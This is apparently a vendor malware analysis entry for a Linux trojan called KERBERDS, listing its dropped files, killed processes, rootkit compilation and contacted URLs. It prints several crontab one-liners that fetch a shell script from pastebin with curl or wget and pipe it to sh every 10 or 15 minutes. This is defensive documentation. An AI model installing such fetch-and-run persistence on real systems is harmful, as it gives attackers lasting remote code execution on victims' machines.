Trojan.Linux.KERBERDS.UWEJH

 Analysis by: Henry Alarcon Jr.

 ALIASES:

HEUR:Trojan.Linux.Agent.gr (Kaspersky), ELF:Agent-XS [Rtk] (AVG)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, via a vulnerability


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,856,744 bytes

File Type:

ELF

File Compression:

GZIP

Memory Resident:

Yes

Initial Samples Received Date:

02 May 2019

Payload:

Modifies files, Deletes files, Terminates processes, Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

Installation

This Trojan drops the following copies of itself into the affected system:

  • /usr/bin/kerberods ← It uses LSD packed its drop copies
  • /usr/sbin/kerberods ← It uses LSD packed its drop copies
  • /tmp/kerberods ← It uses LSD packed its drop copies

It drops the following files:

It adds the following processes:

  • /tmp/khugepageds
  • /usr/local/lib/{random character}.so

Other System Modifications

This Trojan modifies the following file(s):

  • /etc/hosts

It deletes the following files:

  • /etc/ld.so.preload
  • /usr/local/lib/{random character}.c

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • hwlh3wlh44lh
  • Circle_MI
  • get.bi-chi.com
  • hashvault.pro
  • nanopool.org
  • /usr/bin/.sshd
  • /usr/bin/bsd-port
  • xmr
  • xig
  • ddgs
  • qW3xT
  • wnTKYg
  • t00ls.ru
  • sustes
  • thisxxs
  • hashfish
  • kworkerds
  • /tmp/devtool
  • systemctI
  • plfsbce
  • luyybce
  • 6Tx3Wq
  • dblaunchs
  • /boot/vmlinuz
  • Processes that use the following IP address:
    • {BLOCKED}.{BLOCKED}.106.27
    • {BLOCKED}.{BLOCKED}.210.206

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

  • https://ident.me

It does the following:

  • Installs GCC in the system to compile the source code of the rootkit, then execute it.
  • It creates the following services to enable automatic execution of itself:
    • /etc/init.d/netdns
    • /usr/lib/systemd/system/netdns.service
  • Execute the following to create crontabs to enable automatic execution of a shell script found in pastebin every 10 minutes:
    • echo\"*/10 * * * * (curl -fsSL https://pastebin.com/raw/{string from pastebin}||wget -q -O- https://pastebin.com/raw/{string from pastebin})|sh" | crontab -
  • Creates the following crontabs to enable automatic execution of a shell script found in pastebin every 10 minutes:
    • Path: /etc/cron.d/root
    • Content: */10 * * * * root (curl -fsSL https://pastebin.com/raw/{string from pastebin}||wget -q -O- https://pastebin.com/raw/{string from pastebin})|sh
  • Creates the following crontabs to enable automatic execution of a shell script found in pastebin every 15 minutes:
    • Paths:
      • /var/spool/cron/root
      • /var/spool/cron/crontabs/root
    • Content: */15 * * * * (curl -fsSL https://pastebin.com/raw/{string from pastebin}||wget -q -O- https://pastebin.com/raw/{string from pastebin})|sh
  • It tries to access Redis servers in order to compromise it.
  • It may spread to other devices:
  • It connects to the following URLs:
    • https://pastebin.com/raw/{BLOCKED}id ← (shell script to be downloaded and executed in vulnerable devices)
    • https://pastebin.com/raw/{BLOCKED}pu ← (shell script to connect to another pastebin URL)
    • https://pastebin.com/raw/{BLOCKED}6H ← (checks for update)
    • https://pastebin.com/raw/{BLOCKED}iE
    • https://pastebin.com/raw/{BLOCKED}Jh

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.886.01

FIRST VSAPI PATTERN DATE:

21 Mar 2019

VSAPI OPR PATTERN File:

14.887.00

VSAPI OPR PATTERN Date:

22 Mar 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.Linux.KERBERDS.UWEJH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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